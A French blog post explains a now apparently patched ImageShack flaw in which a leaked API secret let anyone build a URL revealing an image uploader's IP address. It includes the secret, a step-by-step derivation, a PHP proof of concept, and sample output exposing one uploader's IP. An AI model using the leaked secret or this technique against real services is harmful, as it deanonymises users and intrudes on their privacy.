Christophe HENRY

Ce site ne comporte aucune information d’intérêt, sauf pour celui qui la cherche — Ĉi-retejo ne enhavas informon interesan, krom por iu kiu ĝin serĉas — This website doesn’t have any information of interest, except for who looks for it

Divulgation de l'adresse du posteur d'image sur Imageshack.us

icon 17/11/2012

Le site ImageShack est un service d'hébergement d'images. Après le téléversement, un lien permet de charger l'image depuis leur site. Leur site expose une interface d'accès permettant de récupérer des informations sur les images. Cet accès est protégé par un mot de passe. Ce dernier a été divulgué via Mikescoding qui en a publié une preuve de concept, utilisable depuis son site web.

Cependant, l'hébergeur semble avoir colmaté la faille puisque le site ne retourne plus les données escomptées.

Voici comment cela fonctionne :

  1. On part du lien d'une image, celle donnée en exemple chez Mikescoding :
    http://img236.imageshack.us/img236/3432/as8132329zz9.jpg.
  2. On extrait le nom de l'image sans son extension :
    as8132329zz9
  3. On calcule le condensat en utilisant le mot de passe :
    MD5("as8132329zz9"+"ta onomata")==d907da5f86d1e6db1c00e31eba07f20a
  4. On ne retient que les dix premiers caractères :
    d907da5f86
  5. On génère le lien en accolant le nom du fichier et le condensat :
    http://img236.imageshack.us/img236/3432/as8132329zz9.d907da5f86.xml

Informations obtenues

<imginfo xmlns="http://ns.imageshack.us/imginfo/7/" version="7" timestamp="1244589886">
  <rating>
    <ratings>0</ratings>
    <avg>0.0</avg>
  </rating>
  <files server="236" bucket="3432">
     <image size="661569" content-type="image/jpeg">as8132329zz9.jpg</image>
     <thumb size="2847" content-type="image/jpeg">as8132329zz9.th.jpg</thumb>
  </files>
  <resolution>
    <width>2457</width>
    <height>2411</height>
  </resolution>
  <class>r</class>
  <visibility>yes</visibility>
  <uploader>
    <ip>122.169.132.61</ip>
  </uploader>
</imginfo>
On extrait l'adresse IP : 122.169.132.61

Code source en Php

Il est à lancer en ligne de commande et ignore tous les mécanismes de vérification, mais il est plus facile à lire. Il fournit l'url à appeler pour récupérer le fichier XML contenant l'adresse IP. La version propre se trouve chez Mikescoding.

//SOURCE: http://mikescoding.com/imageshack/index.phps
$secretWord = "ta onomata";
$url = "http://img236.imageshack.us/img236/3432/as8132329zz9.jpg";
preg_match('#^(.*)/([^/]+)\.[^.]*$#', $url, $matches);
$path = $matches[1];
$fileName = $matches[2];
$hashStart = substr(md5($fileName.$secretWord), 0, 10);
$xmlUrl = $path.$fileName.".".$hashStart.".xml";
echo "url: $url\n";
echo "md5: $hashStart\n";
echo "xml: $xmlUrl\n";
Qui renvoit :

url: http://img236.imageshack.us/img236/3432/as8132329zz9.jpg
md5: d907da5f86
xml: http://img236.imageshack.us/img236/3432as8132329zz9.d907da5f86.xml

Analyse

J'espère que le mot de passe n'était propre qu'à un seul partenaire. S'il faut l'invalider, ça n'impactera que lui. Sinon, ça veut dire qu'il faut communiquer le nouveau mot de passe à tout le monde. La bonne pratique serait de fournir à chacun des partenaires une clé unique, révocable et spécifique à lui. Cela se fait pour les flux de syndication (RSS) nécessitant une authentification, la clé est inclue dans la requête et révocable par le fournisseur ou par l'utilisateur en cas de divulgation.

icon Tags de l'article :

Aucun commentaire

icon Flux RSS des commentaires de cet article